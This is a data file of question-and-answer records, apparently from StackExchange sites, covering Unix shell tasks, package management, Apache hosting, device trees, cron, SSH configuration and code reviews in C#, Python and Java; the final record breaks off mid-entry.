{  "id": "_unix.347101"  , "question": "the given file looks likeCHrIS   john    herzog  10001   Marketingtim             johnson 10002   ITruth    bertha  Hendric 10003   HRchrist  jason   hellan  10004   Marketingmy code:readFile=$1#error checking to see if the file exists and is not a directoryif [ ! -f $readFile ]then    #echo failed no param passed    exit 1else    #reads in the file and stores the information into the variabel var.    while read -r var    do        #echo $var        fName=$(echo $var | cut -f1 | awk '{print $1}')        mName=$(echo $var | cut -f2 | awk '{print $2}' | tr \\t x)        echo $mName    done < $readFilefiHow can I get the middle tab in line 2 with tim   (needs to be an X)     johnson   10002 IT to change into an X?"  , "title": "How to replace a tab with a character in a file"  , "tags": "text processing"  , "accepted_answer": "Try this:lets say the content is stored in a file filecat file | sed -E 's/    /        x/'would give CHrIS   john    xherzog  10001   Marketingtim     x         johnson 10002   ITruth    xbertha  Hendric 10003   HRchrist  jason   hellan  10004   MarketingAs to why write the sed in the aforementioned way, refer this"  } 
{  "id": "_unix.307190"  , "question": "We want to change the vitesse switch on mpc8308erdb with a ks8999 switch. And connect eTSEC0 and eTSEC1 to two separate ks8999 switches.I want to know what files i should change in order for linux to work in this new condition.This switches are fast ethernet switches and connect to board with mii interfaces.(there is no mdio interface in them)we changed device tree like this and checked switch functionality by checking its other ports but networking is not working.unchanged device tree:        enet0: ethernet@24000 {            cell-index = <0>;            device_type = network;            model = eTSEC;            compatible = gianfar;            reg = <0x24000 0x1000>;            local-mac-address = [ 00 00 00 00 00 00 ];            interrupts = <32 0x8 33 0x8 34 0x8>;            interrupt-parent = <&ipic>;            tbi-handle = <&tbi0>;            phy-handle = < &phy0 >;/*          sleep = <&pmc 0xc0000000>;  */            fsl,magic-packet;            fsl,lossless-flow-ctrl = <0>;            ptimer-handle = < &ptp_timer >;        };        enet1: ethernet@25000 {            cell-index = <1>;            device_type = network;            model = eTSEC;            compatible = gianfar;            reg = <0x25000 0x1000>;            local-mac-address = [ 00 00 00 00 00 00 ];            interrupts = <35 0x8 36 0x8 37 0x8>;            interrupt-parent = <&ipic>;            /* tbi-handle = <&tbi1>; */            /* phy-handle = < &phy1 >; */            /* Vitesse 7385 isn't on the MDIO bus */            fixed-link = <1 1 1000 0 0>;/*          sleep = <&pmc 0x30000000>;  */            fsl,magic-packet;            fsl,lossless-flow-ctrl = <0>;            ptimer-handle = < &ptp_timer >;            phy-connection-type = rgmii-id;        };changed device tree:        enet0: ethernet@24000 {            cell-index = <0>;            device_type = network;            model = eTSEC;            compatible = gianfar;            reg = <0x24000 0x1000>;            local-mac-address = [ 00 00 00 00 00 00 ];            interrupts = <32 0x8 33 0x8 34 0x8>;            interrupt-parent = <&ipic>;            fixed-link = <2 1 100 0 0>;         /*          sleep = <&pmc 0xc0000000>;  */            fsl,magic-packet;            fsl,lossless-flow-ctrl = <0>;            ptimer-handle = < &ptp_timer >;            phy-connection-type = mii;        };        enet1: ethernet@25000 {            cell-index = <1>;            device_type = network;            model = eTSEC;            compatible = gianfar;            reg = <0x25000 0x1000>;            local-mac-address = [ 00 00 00 00 00 00 ];            interrupts = <35 0x8 36 0x8 37 0x8>;            interrupt-parent = <&ipic>;            fixed-link = <1 1 100 0 0>;/*          sleep = <&pmc 0x30000000>;  */            fsl,magic-packet;            fsl,lossless-flow-ctrl = <0>;            ptimer-handle = < &ptp_timer >;            phy-connection-type = mii;        };In reference board one eTSEC is connected to a phy and another is connected to a gigabit ethernet switch."  , "title": "Modifying ethernet ports on device tree"  , "tags": "embedded;network interface;device tree"  } 
{  "id": "_unix.303055"  , "question": "I have installed liveusb-creator using DNF on Fedora 24. These are the dependencies that were installed along with it:liveusb-creator.noarch 3.95.2-1.fc24python-cssselect.noarch 0.9.1-9.fc24python-lxml.x86_64 3.4.4-4.fc24python-pyquery.noarch 1.2.8-7.fc24python-qt5.x86_64 5.6-4.fc24python-qt5-rpm-macros.noarch 5.6-4.fc24qt5-qtconnectivity.x86_64 5.6.1-2.fc24qt5-qtenginio.x86_64 1:1.6.1-2.fc24qt5-qtlocation.x86_64 5.6.1-2.fc24qt5-qtmultimedia.x86_64 5.6.1-3.fc24qt5-qtquickcontrols.x86_64 5.6.1-1.fc24qt5-qtsensors.x86_64 5.6.1-2.fc24qt5-qtserialport.x86_64 5.6.1-1.fc24qt5-qttools-common.noarch 5.6.1-2.fc24qt5-qttools-libs-clucene.x86_64 5.6.1-2.fc24qt5-qttools-libs-designer.x86_64 5.6.1-2.fc24qt5-qttools-libs-help.x86_64 5.6.1-2.fc24qt5-qtwebchannel.x86_64 5.6.1-2.fc24qt5-qtwebsockets.x86_64 5.6.1-2.fc24sip.x86_64 4.18-2.fc24Now I want to uninstall liveusb-creator again, but dnf remove liveusb-createor attempts to remove more packages than were installed (including Java, which I don't want to remove):java-1.8.0-openjdk          x86_64   1:1.8.0.101-1.b14.fc24   @updates   496 kjava-1.8.0-openjdk-devel    x86_64   1:1.8.0.101-1.b14.fc24   @updates    40 Mliveusb-creator             noarch   3.95.2-1.fc24            @updates   2.1 Mpython-cssselect            noarch   0.9.1-9.fc24             @fedora    301 kpython-lxml                 x86_64   3.4.4-4.fc24             @fedora    3.0 Mpython-pyquery              noarch   1.2.8-7.fc24             @fedora    171 kpython-qt5                  x86_64   5.6-4.fc24               @updates    20 Mpython-qt5-rpm-macros       noarch   5.6-4.fc24               @updates   137  qt5-qtconnectivity          x86_64   5.6.1-2.fc24             @updates   1.3 Mqt5-qtdeclarative           x86_64   5.6.1-5.fc24             @updates    14 Mqt5-qtenginio               x86_64   1:1.6.1-2.fc24           @updates   589 kqt5-qtlocation              x86_64   5.6.1-2.fc24             @updates   2.7 Mqt5-qtmultimedia            x86_64   5.6.1-3.fc24             @updates   3.1 Mqt5-qtquickcontrols         x86_64   5.6.1-1.fc24             @updates   3.7 Mqt5-qtsensors               x86_64   5.6.1-2.fc24             @updates   801 kqt5-qtserialport            x86_64   5.6.1-1.fc24             @updates   190 kqt5-qttools-common          noarch   5.6.1-2.fc24             @updates    34 kqt5-qttools-libs-clucene    x86_64   5.6.1-2.fc24             @updates   132 kqt5-qttools-libs-designer   x86_64   5.6.1-2.fc24             @updates   5.2 Mqt5-qttools-libs-help       x86_64   5.6.1-2.fc24             @updates   647 kqt5-qtwebchannel            x86_64   5.6.1-2.fc24             @updates   227 kqt5-qtwebsockets            x86_64   5.6.1-2.fc24             @updates   230 kqt5-qtxmlpatterns           x86_64   5.6.1-1.fc24             @updates   4.1 Msip                         x86_64   4.18-2.fc24              @updates   396 kttmkfdir                    x86_64   3.0.9-48.fc24            @fedora    107 kxorg-x11-fonts-Type1        noarch   7.5-16.fc24              @fedora    863 kWhy are there more packages in the list and how can I remove only the ones that were installed previously?"  , "title": "How to revert a `dnf install`?"  , "tags": "fedora;package management;live usb;dnf"  , "accepted_answer": "I don't know the answer to the first part of your question. If you have dnf history recording activated (I think it's on by default), you can use that to undo the installation:sudo dnf history | headwill show the last few transactions, with an identifier on the left; find your installation, thensudo dnf history info ${transaction}(replacing ${transaction} as appropriate) will show the details of the installation, andsudo dnf history undo ${transaction}will undo it (if possible)."  } 
{  "id": "_webmaster.33719"  , "question": "I am developing an app using PHP and deploying it on Apache on the Amazon AWS environment.This app requires to be made available to customers from their own chosen domain name?How can I achieve this? For example:www.customer1.com => /var/www/myapp.mydomain.com www.customer2.com => /var/www/myapp.mydomain.comI would like to do this similar to how bitly enables shortened URL's for custom domains.www.myshorturl.com is DNS configured to a CNAME - cname.bitly.com.Appreciate if someone could help me achieve this functionality.If there are any other details required, please let me know, I shall update the same."  , "title": "How can I point wildcard domains to a folder in Apache?"  , "tags": "apache;dns;virtualhost;cname;bitly"  , "accepted_answer": "There are several approaches to this.If this server hosts nothing else:Make sure you have only one VirtualHost and that it's FIRST in the configuration.Check that you can access the site (destination) via the raw IP, and by the Amazon domain name they give you (in the control panel, it's some numbers and letters then amazon.com)Once you have this, you only need to tell your customers to set their A-record to your server's IP. (Now be careful -- you need to make sure you have this IP for as long as you have customers).Alternatively, set on YOUR DNS records, [app.domain.com] --> [Amazon IP] and then tell your customers to make a CNAME. That way, if your IP changes, you can just change your CNAME and all the customers should be updated relatively quickly, automatically.If you use this server for many sites (and they are name-based VirtualHosts)On the VirtualHost that runs this application, set ServerName [your-domain] and ServerAlias [buy-another-static-IP] because you can actually make Apache listen on a static IP on a per-virtual-host basis. (Amazon distributes these very cheaply). Make sure also in the config that Apache listens on ALL IP addresses, which would include the one you would buy/rent if you don't have it already.Second option here is to use customer's domains (provided this is not automated and your customer-base is small) and do ServerAlias www.customer1.com and so forth."  } 
{  "id": "_codereview.41010"  , "question": "I've implemented a common wrapper pattern I've seen for the .NET cache class using generics as follows:private static T CacheGet<T>(Func<T> refreashFunction, [CallerMemberName]string keyName = null){    if (HttpRuntime.Cache[keyName] == null)        HttpRuntime.Cache.Insert(keyName, refreashFunction(), null, DateTime.UtcNow.AddSeconds(600), System.Web.Caching.Cache.NoSlidingExpiration);    return (T)HttpRuntime.Cache[keyName];}It could then be called like so:public static Dictionary<string, string> SomeCacheableProperty{    get    {        return CacheGet(() =>        {            Dictionary<string, string> returnVal = AlotOfWork();            return returnVal;        });    }}However, the CacheGet method could be implemented using dynamic:private static dynamic CacheGet(Func<object> refreashFunction, [CallerMemberName]string keyName = null){    if (HttpRuntime.Cache[keyName] == null)        HttpRuntime.Cache.Insert(keyName, refreashFunction(), null, DateTime.UtcNow.AddSeconds(600), System.Web.Caching.Cache.NoSlidingExpiration);    return HttpRuntime.Cache[keyName];}The questions I have:Is there a technically (or philosophically) superior preference between these two implementations?Are these different at runtime?If they are both left in, which one is being called in the getter method?"  , "title": "Cache wrapper - Generics vs Dynamic"  , "tags": "c#;generics;cache"  , "accepted_answer": "First of all, I think you misspelled refresh as refreash.Second, your usage can probably be simplifiedCacheGet(AlotOfWork);Finally, you might want to check if refreshFunction returns null and maybe log a warning then as that function returning null would cause a cache miss every time.Now to answer your specific questions.I'll say it, the generic implementation is better. dynamic is a great trapdoor when you get really bogged down with generics or anonymous types and there's neat things you can do with it (see Dapper) but it still has some gotchas. For example, I do not think your function with dynamic will work in most cases. HttpRuntime.Cache expects and returns object types meaning all types are being downcast or boxed. Therefore, if your function returns a User object, what is stored is still an object and what is returned from the cache is downcast likewise. Therefore your user.Username property will not be available until you cast, even though it's dynamic.Yes. The generic version - with some subtle yet real differences - will run as if it was written for the type you're filling <T> with. The dynamic version will just be a value and let the DLR figure out how to invoke members (which again, unless you're calling ToString() or GetHashCode(), will fail). dynamic will also be slower as the runtime binding has to be done every time, though admittedly this is unlikely to be any sort of bottleneck.Obviously I'm going to say always use the generic version in this case."  } 
{  "id": "_unix.364395"  , "question": "I'm trying to send mails on my ubuntu server (from gmail). I have the Starter Cloud package from Scaleway. I have installed sendmail on my ubuntu server with the following tutorial.In my Laravel application I have the following configuration (mailtrap for testing):MAIL_DRIVER=smtpMAIL_PORT=2525MAIL_HOST=smtp.mailtrap.ioMAIL_USERNAME=1f129791a7e29fMAIL_FROM_NAME=My nameMAIL_FROM_ADDRESS=myname@gmail.comMAIL_PASSWORD=passwordmailtrapBut when I try to send the email I'm getting the following error:What could be my problem here? Or should I follow this tutorial and install/configure postfix on my server? When I try this on my local environment (Homestead) this works without problems. "  , "title": "Send mails on Ubuntu 16.04 - Failed to authenticate on SMTP server with username using 3 possible authenticators"  , "tags": "ubuntu;email;postfix;sendmail;smtp"  } 
{  "id": "_datascience.10550"  , "question": "I have a list of email subjects like<XYZ> commented on <ABC>Weekly review for <Company>Your account is ready And I want to find patterns in them so I can group them.Is there a well known algorithm I can use? Preferably with wide language implementations or easy re-implementation.The algorithm should be unsupervised.The number of different emails is not known.Update:I think I can break this down into two problems:Group subjects by the similar words they use, resulting in the following. Each group should be very distinct from the rest (they should be almost perfectly exclusive) and the algorithm should give relatively small number of groups with good length of the common words.[commented, on][weekly, review][your, account, is, ready]Once grouped, it should be easy to find a state automaton that accepts only the group's subject and thus eliminates variableThen I can go back and check if there are any intersections and tweak the variables.Having said that, is it better to use a completley different approach like neural nets maybe? I have zero experience with those, but if it makes more sense, I am open to learning."  , "title": "How would you categorise email subjects to find similar emails?"  , "tags": "text mining;algorithms"  } 
{  "id": "_cogsci.10917"  , "question": "Social support has several times been linked to psychological well-being and even physical health.Some studies have also shown that shyness correlates stronger with introversion than with neuroticism.This implies that less social people should score lower on physical health and mental well-being.Note that I am not asking if introversion causes emotional stress, but rather if extroverts are better at coping with emotional stress because their extraversion give better odds for social support.Is there any research on correlations between extraversion, physical and mental health?References:https://en.wikipedia.org/wiki/Social_supportWhere in the Big5 does shyness belong?"  , "title": "Do introverted people have more emotional stress?"  , "tags": "social psychology;personality;health psychology"  } 
{  "id": "_unix.187035"  , "question": "I  read some books which use dump and restore. They said that during restore, first restore the latest full backup, and then restore each incremental backup created after the full backup. But I am using rsync. If I am correct, it does incremental backup by hard links to previous backup. Then when restore, can I just do one restore: copy the latest incremental backup? Because this will in turn copy the previous backup it hard-links to? Can I also delete the backups older than the last one? Because hardlinked files won't be deleted if they are still hard linked? How can we write a script to automatically remove older backups, so that only the most recent 2 or 3 backups are kept?If the answers to the above two are yes, then backup and restore with rsync are simpler than dump and restore.Then why do we need dump and restore?Thanks."  , "title": "Restore from incremental backup?"  , "tags": "rsync;backup;restore;dump"  } 
{  "id": "_codereview.79276"  , "question": "pwgen is a nice password generator utility. When you run it, it fills the terminal with a bunch of random passwords,giving you many options to choose from and pick something you like,for example:lvk3U7cKJYkl pLBJ007977Qx b9xhj8NWPfWQpMgUJBUuXwpG OAAqf6Y9TXqc fJOyxoGYCRSQbpbwp6f2MxEH fUYTJUqg0ZMB GjVVEQxuer0koqTEvV1LmdJu si47MkHNRpAw 3GKV8NdGMvwfAlthough there are ports of pwgen in multiple systems,it's not so easy to find in Windows.So I put together a simple Python script that's more portable,as it can run in any system with Python.I added some extra features I often want:Skip characters that may be ambiguous, such as l1ioO0Z2IAvoid doubled characters (slow down typing)Here it goes:#!/usr/bin/env pythonfrom __future__ import print_functionimport randomimport stringimport refrom argparse import ArgumentParserterminal_width = 80terminal_height = 25default_length = 12alphabet_default = string.ascii_letters + string.digitsalphabet_complex = alphabet_default + '`~!@#$%^&*()_+-={}[];:<>?,./'alphabet_easy = re.sub(r'[l1ioO0Z2I]', '', alphabet_default)double_letter = re.compile(r'(.)\\1')def randomstring(alphabet, length=16):    return ''.join(random.choice(alphabet) for _ in range(length))def has_double_letter(word):    return double_letter.search(word) is not Nonedef easy_to_type_randomstring(alphabet, length=16):    while True:        word = randomstring(alphabet, length)        if not has_double_letter(word):            return worddef pwgen(alphabet, easy, length=16):    for _ in range(terminal_height - 3):        for _ in range(terminal_width // (length + 1)):            if easy:                print(easy_to_type_randomstring(alphabet, length), end=' ')            else:                print(randomstring(alphabet, length), end=' ')        print()def main():    parser = ArgumentParser(description='Generate random passwords')    parser.add_argument('-a', '--alphabet',                        help='override the default alphabet')    parser.add_argument('--complex', action='store_true', default=False,                        help='use a very complex default alphabet', dest='complex_')    parser.add_argument('--easy', action='store_true', default=False,                        help='use a simple default alphabet, without ambiguous or doubled characters')    parser.add_argument('-l', '--length', type=int, default=default_length)    args = parser.parse_args()    alphabet = args.alphabet    complex_ = args.complex_    easy = args.easy    length = args.length    if alphabet is None:        if complex_:            alphabet = alphabet_complex        elif easy:            alphabet = alphabet_easy        else:            alphabet = alphabet_default    elif len(alphabet) < length:        length = len(alphabet)    pwgen(alphabet, easy, length)if __name__ == '__main__':    main()How would you improve this? I'm looking for comments about all aspects of this code.I know that the terminal_width = 80 and terminal_height = 25 variables don't really reflect what their names imply. It's not terribly important, and good enough for my purposes, but if there's a way to make the script detect the real terminal width and height without importing dependencies that reduce portability, that would be pretty awesome."  , "title": "Gimme some random passwords"  , "tags": "python;python 2.7;python 3.x"  , "accepted_answer": "Mostly a matter of personal preference but I'd define a variable in pwgen like :get_string = easy_to_type_randomstring if easy else randomstringto avoid duplicated logic.Then, you can simplify your code by using join instead of having multiple print.def pwgen(alphabet, easy, length=16):    get_string = easy_to_type_randomstring if easy else randomstring    for _ in range(terminal_height - 3):        print(' '.join(get_string(alphabet, length)            for _ in range(terminal_width // (length + 1))))"  } 
{  "id": "_softwareengineering.351881"  , "question": "I want to ask about what architecture may have Python web-server that implements web-API which calls C++ code as CPython extension (C++ uses only standart library, except Boost.Python for Pythonisation).More about situation:C++ code (just one function named cpp_func for example) runs for 1ms  in most cases, but in very specific cases it can run until RAM is full, so it need very good timeout managment.for security and performence reasons, I prefer to not allow everyone at anytime execute cpp_func, so it must have some DB for authentication.project has small budget, and now it uses only one CPU with 500Mb RAM (Heroku free dyno).Current state:For now I have web-server implementation in aiohttp with ProcessExecutorPool wrap for cpp_func, but I have problems with good timeout checking and it seems hard at all. Maybe I'm doing something wrong? How should I implement this web-server? (Architecture at all, maybe libs/methods)"  , "title": "Python web-api & C++ calculations"  , "tags": "web api;c++11;async;python 3.x;multiprocessing"  } 
{  "id": "_unix.195030"  , "question": "I have the following script. When it runs it prints the Start and end Times to the file 'result.txt'.However, I also want to record the total runtime (end-start), but where I am doing echo runtine at the end, it just returns runtime: with nothing recorded next to it. Am I doing something incorrect?#!/bin/bashclearecho Test 001 > result.txtecho start time:  $(date +%T) >> result.txtstart=`date +%s`#DO STUFF HEREend=`date +%s`echo end time:  $(date +%T) >> result.txtruntime=$((end-start))echo runtime:  $(runtime) >> result.txtecho  - - - "  , "title": "recording total runtime in bash script"  , "tags": "bash;debian;shell script"  , "accepted_answer": "First of all, you are reinventing the wheel. That's what the time command is for:$ time script.shreal    0m0.005suser    0m0.000ssys     0m0.004sThen, you have a syntax error:echo runtime:  $(runtime) >> result.txtThe $(foo) syntax is command substitution, it will try to run foo. What you meant was echo runtime: $runtime >> result.txtBy the way, you should always include the error messages you get in your question. "  } 
{  "id": "_unix.198958"  , "question": "I know how to gunzip a file to a selected location.But when it comes to utilizing all CPU power, many consider pigz instead of gzip. So, the question is how do I unpigz (and untar) a *.tar.gz file to a specific directory?"  , "title": "unpigz (and untar) to a specific directory"  , "tags": "tar;compression;gzip;multithreading"  , "accepted_answer": "I found three solutions:With GNU tar, using the awesome -I option:tar -I pigz -xvf /path/to/archive.tar.gz -C /where/to/unpack/it/With a lot of Linux piping (for those who prefer a more geeky look):unpigz < /path/to/archive.tar.gz | tar -xvC /where/to/unpack/it/More portable (to other tar implementations):unpigz < /path/to/archive.tar.gz | (cd /where/to/unpack/it/ && tar xvf -)(You can also replace tar xvf - with pax -r to make it POSIX-compliant, though not necessarily more portable on Linux-based systems).Credits go to @PSkocik for a proper direction, @Stphane Chazelas for the 3rd variant and to the author of this answer. "  } 
{  "id": "_webapps.23284"  , "question": "Lately I have been having an issue. Whenever I close a open tab in Google Chrome which has a YouTube video open in it, it crashes. The browser just freezes and then a window pops up saying Google Chrome has stopped responding.I've heard that sometimes adobe flash player can mess things up so I tried uninstalling it but that didn't fix it. This only started happening a few days ago and I didn't change anything except now I tried using the beta version of Google Chrome to see if it was fixed.General info:Windows 7 64 BitLatest Google Chrome Beta Version.If anyone knows the issue your help would be greatly appreciated. (caches and history was cleared already tried it)"  , "title": "Google Chrome Crashes Every-time I close a tab with a YouTube video open"  , "tags": "youtube;google chrome"  , "accepted_answer": "Okay I have done some research and found that this is a known issue and the Google team was able to reproduce the issue and is working on a fix. See Help Forum Article.In case you don't want to wait for the fix to be implemented into the normal Google Chrome Build you can try Google Canary. Fixed it for me! Google Canary operates as a secondary browser, so you can have Google Chrome and Google Canary both installed and running at the same time it will not overwrite the old one like Google Chrome Beta does.Edit: It's awesome to see the YouTube/Chrome team working to fix the issue! The issue has now been fixed according to another Answer they have made on the Help Forums. Crash Fixed Help Forum Link"  } 
{  "id": "_cs.70493"  , "question": "A function $T: \\mathbb{N} \\rightarrow \\mathbb{N}$ is time-constructible if there exist a turing machine $M$ which computes $1^{T(n)}$ on input $1^{n}$ in  $T(n)$ time.Let $T_1$ and $T_2$ be two time-constructible functions in accordance to the definition above. I'm unable to prove the following:$T_1(n)^{T_2(n)}$ is time-constructibleMy approach:I thought of constructing $T_1(n)^k$ using $T_1(n)^{k-1}$. Given $T_1(n)$ and $T_1(n)^{k-1}$ I know I can multiply them in time $T_i(n)^k$. Hence the net time to compute $T_1(n)^{T_2(n)}$ by my construction = $T_1(n) + T_1(n)^2 +....+T_1(n)^{T_2(n)} > T_1(n)^{T_2(n)}$ To print $T_1(n)^{T_2(n)}$ in time $T_1(n)^{T_2(n)}$ i would need to print a 1 on the output tape in every timestamp which intuitively sounds impossible to me"  , "title": "Proving that a time-constructible function to the power a time-constructible function is a time-constructible function"  , "tags": "turing machines;time complexity"  } 
{  "id": "_unix.337169"  , "question": "How do I use a program command-line-parameters with gksu? I have a program that takes parameters.sudo myprog --datzload --maximizeBut then I get an error IBus error .... owner is not rootSearching tells me I should be using gksu but then it takes the parameters for myprog as parameters for itself and says --datzload is not a command and then shows the help page.Kinda in a loop here. So, how to use gksu and myprog or should I just continue to use sudo and ignore the IBus error?"  , "title": "Using gksu with command-line parameters"  , "tags": "ibus;gksu"  } 
{  "id": "_softwareengineering.331682"  , "question": "I'm planning on using a message queue for communication between a game engine and game server. This should allow me to write both without direct dependencies on each other.The example that I'll use in this question is a DisconnectMessage. A server can send a DisconnectMessage to the engine if, for example, the client has exceeded the timeout value and has not responded to a ping request. The engine can also send a DisconnectMessage to the server if, for example, a server operator issues a kick command for a player. In both of these cases, the player is saved to the game's player repository.So what I have at the moment is a server, a game engine, and two message queues (one for incoming, one for outgoing).For now, what I'd like to have is one instance of a type-safe message handler for each message type. This is where the problem is for me, as I am unable to get a specific handler for a generic message.The code I have is something like:public interface GameMessage {}public interface GameMessageHandler<T extends GameMessage> {    public void handle(T message);}public class DisconnectMessage implements GameMessage {    // ...}public class DisconnectMessageHandler implements GameMessageHandler<DisconnectMessage> {    @Override    public void handle(DisconnectMessage message) {        // ... something something    }}public class GameEngine implements Runnable {    public GameEngine(Queue<GameMessage> in, Queue<GameMessage> out) {        // ...    }    @Override    public void run() {        if (!in.empty()) {            GameMessage message = in.poll();            handle(message);        }    }}The current method I have (that does not work) is as follows// in GameEnginepublic <T extends GameMessage> void handle(T message) {    GameMessageHandler<T> handler = getHandler(message.getClass());    handler.handle(message);}public <M extends Message, H extends GameMessageHandler<M>> H getHandler(Class<M> messageClass) {    // get handler somehow from a dictionary}However, Java's type system does not allow me to achieve this in this manner.Is there a way that I can get a concrete message handler from the base interface class?Or, perhaps a different question that could change the answer; is there a different/better way than using a message queue to prevent a circular dependency?"  , "title": "Message queue between server and engine"  , "tags": "java;design patterns;object oriented design"  } 
{  "id": "_unix.311347"  , "question": "Unlike other contab related questions on the site, the PATH and BASH is correctly configured.The input to run the script is:0 14 * * * /absolute/path/to/script.shWe also tried to put in a non bash command to see if its executet.43 14 * * * /bin/echo hallo > /var/log/cron_check.logBut this doesnt work either. the syslog shows that the command is beeing processed by crontab.(root) CMD (/absolute/path/to/script.sh)However, I noticed something with ps aux | grep cron:I have no Idea what this is about. I also tried the exact setup on different machines with the same OS (just different patch states) and there it works perfectly. And yes, the script does work from command line.I tried pstree -lp | grep cron as suggested in the comments:|-cron(26186)---cron(26404)---cron(26405)Then I tried lsof -p 26405COMMAND   PID USER   FD   TYPE             DEVICE SIZE/OFF       NODE NAMEcron    26405 root  cwd    DIR                8,2     4096    3407969 /var/spool/croncron    26405 root  rtd    DIR                8,2     4096          2 /cron    26405 root  txt    REG                8,2    48752    2696872 /usr/sbin/croncron    26405 root  mem    REG                8,2    57723    1163275 /lib64/libcrypt-2.11.3.socron    26405 root  mem    REG                8,2    98147    1163332 /lib64/libresolv-2.11.3.socron    26405 root  mem    REG                8,2    60736    2722352 /usr/lib64/libnam.so.0.0.0cron    26405 root  mem    REG                8,2    47576    2703634 /lib64/libnss_nam.so.0.0.0cron    26405 root  mem    REG                8,2     6104     983053 /lib64/security/pam_deny.socron    26405 root  mem    REG                8,2     6192     983090 /lib64/security/pam_warn.socron    26405 root  mem    REG                8,2    10456     983088 /lib64/security/pam_umask.socron    26405 root  mem    REG                8,2    18832     983064 /lib64/security/pam_limits.socron    26405 root  mem    REG                8,2    10392     983067 /lib64/security/pam_loginuid.socron    26405 root  mem    REG                8,2    88752    2703486 /lib64/libz.so.1.2.7cron    26405 root  mem    REG                8,2    39496    2692377 /usr/lib64/libcrack.so.2.8.0cron    26405 root  mem    REG                8,2    23024    2736459 /lib64/security/pam_pwcheck.socron    26405 root  mem    REG                8,2    22896    2708673 /lib64/libxcrypt.so.2.0.0cron    26405 root  mem    REG                8,2    52288    2736460 /lib64/security/pam_unix2.socron    26405 root  mem    REG                8,2    14552     983055 /lib64/security/pam_env.socron    26405 root  mem    REG                8,2     6208     983076 /lib64/security/pam_rootok.socron    26405 root  mem    REG                8,2    61646    1163319 /lib64/libnss_files-2.11.3.socron    26405 root  mem    REG                8,2    52516    1163325 /lib64/libnss_nis-2.11.3.socron    26405 root  mem    REG                8,2   108272    1163313 /lib64/libnsl-2.11.3.socron    26405 root  mem    REG                8,2    38708    1163315 /lib64/libnss_compat-2.11.3.socron    26405 root  mem    REG                8,2    19173    1163303 /lib64/libdl-2.11.3.socron    26405 root  mem    REG                8,2   100936    2703667 /lib64/libaudit.so.0.0.0cron    26405 root  mem    REG                8,2  1775524    2703483 /lib64/libc-2.11.3.socron    26405 root  mem    REG                8,2   118080    2703498 /lib64/libselinux.so.1cron    26405 root  mem    REG                8,2    14680    2703591 /lib64/libpam_misc.so.0.82.0cron    26405 root  mem    REG                8,2    56048    2703589 /lib64/libpam.so.0.83.1cron    26405 root  mem    REG                8,2   155179    2703510 /lib64/ld-2.11.3.socron    26405 root    0r  FIFO                0,8      0t0 1624205722 pipecron    26405 root    1w  FIFO                0,8      0t0 1624205723 pipecron    26405 root    2w  FIFO                0,8      0t0 1624205723 pipecron    26405 root    3u  unix 0xffff88000cf9eb40      0t0 1624201568 socket"  , "title": "Crontab doesnt execute bash"  , "tags": "bash;cron"  } 
{  "id": "_unix.270675"  , "question": "I operated a debian server for a while while just by permitting a publickey-based access. Unfortunately I lost the private key (reinstall without backup), and now I am not able to log into the system anymore. I am able to access the hard drive, thus I can modify data on the hard disk. I already reverted the sshd_config-file, but I still get the error when trying to log in via ssh:Authentications that can continue: publickeyWhat do I have to enable in the sshd_config-file in order to enable password-based access again?sshd_config:Port 234Protocol 2HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_dsa_keyHostKey /etc/ssh/ssh_host_ecdsa_keyUsePrivilegeSeparation yesKeyRegenerationInterval 3600ServerKeyBits 768SyslogFacility AUTHLogLevel INFOLoginGraceTime 120PermitRootLogin yesStrictModes yesRSAAuthentication yesPubkeyAuthentication yesIgnoreRhosts yesRhostsRSAAuthentication noHostbasedAuthentication noPermitEmptyPasswords yesChallengeResponseAuthentication noX11Forwarding yesX11DisplayOffset 10PrintMotd noPrintLastLog yesTCPKeepAlive yesBanner /etc/issue.netAcceptEnv LANG LC_*Subsystem sftp /usr/lib/openssh/sftp-serverUsePAM no"  , "title": "Revert ssh from publickey to password"  , "tags": "ssh"  } 
{  "id": "_softwareengineering.293941"  , "question": "The title says it all, basically. Are there any deterministic compression algorithms - that is, an algorithm which, given identical input, will always produce identical output?As far as I know, all widely-used compression algoritms are adaptive and will vary their output based on whatever heuristic they happen to be using at the moment."  , "title": "Any Deterministic Compression Algorithms out There?"  , "tags": "algorithms"  } 
{  "id": "_unix.343591"  , "question": "When monitoring disk io, most of the io is attributed to jbd2, while the original process that caused the high io is attributed with much lower io percentage. Why?Here's iotop's example output (other processes with IO<1% omitted):"  , "title": "Why most the of disk io is attributed to jbd2 and not to the process that is actually using the io?"  , "tags": "process;io;disk"  , "accepted_answer": "jbd2 is a kernel thread that updates the filesystem journal.Tracing filesystem or disk activity with the process that caused it is difficult because the activities of many processes are combined together. For example, if two processes are reading from the same file at the same time, which process would the read be accounted against? If two processes write to the same directory and the directory is updated on disk only once (combining the two operations), which process would the write be accounted against?In your case, it appears that most of the traffic consists of updates to the journal. This is traced to the journal updater, but there's no tracing between journal updates and the process(es) that caused the write operation(s) that required this journal update."  } 
{  "id": "_codereview.167012"  , "question": "Let's say we have a class SomeInt which holds just one single final int value:public class SomeInt{    private final int value;    public SomeInt(int value)    {        this.value = value;    }    public int getValue()    {        return this.value;    }}Option A - Overring equals and hashCode:public class SomeInt{    private final int value;    public SomeInt(int value)    {        this.value = value;    }    public int getValue()    {        return this.value;    }    @Override    public boolean equals(Object other)    {        if (!(other instanceof SomeInt))        {            return false;        }        return ((SomeInt) other).hashCode() == hashCode();    }    @Override    public int hashCode()    {        return this.value;    }}Option B - Providing only one Instance per Value:import java.util.Map;import java.util.HashMap;import java.lang.ref.WeakReference;public class SomeInt{    private static final Map<Integer, WeakReference<SomeInt>> INSTANCES = new HashMap<>();    private final int value;    private SomeInt(int value)    {        this.value = value;    }    public synchronized static SomeInt of(int value)    {        WeakReference<SomeInt> weakRef = INSTANCES.get(value);        SomeInt instance = null;        if (weakRef != null)        {            // keep reference before asking isEnqueued to ensure            // it's not getting garbage collectedbetween the calls            instance = weakRef.get();        }        if (weakRef == null || instance == null || weakRef.isEnqueued())        {            instance = new SomeInt(value);            INSTANCES.put(value, new WeakReference<>(instance));        }        return instance;    }    public int getValue()    {        return this.value;    }}Pros of A:If the Object holds references to other Complex-Types the implementation is much easier and will be easy to customize when something changesCan also be used with mutable ObjectsCons of A:There may be many Objects with the same informationPros of B:There will always be only one Object holding this information== comparison possible since equality is guaranteed by the generating methodCons of B:Can only be used with immutable ObjectsQuestion:What is the better approach to ensure comparisons and occurences in Maps and Collections don't fail?"  , "title": "Overriding equals and hashCode vs providing only Single Instance on immutable Objects"  , "tags": "java"  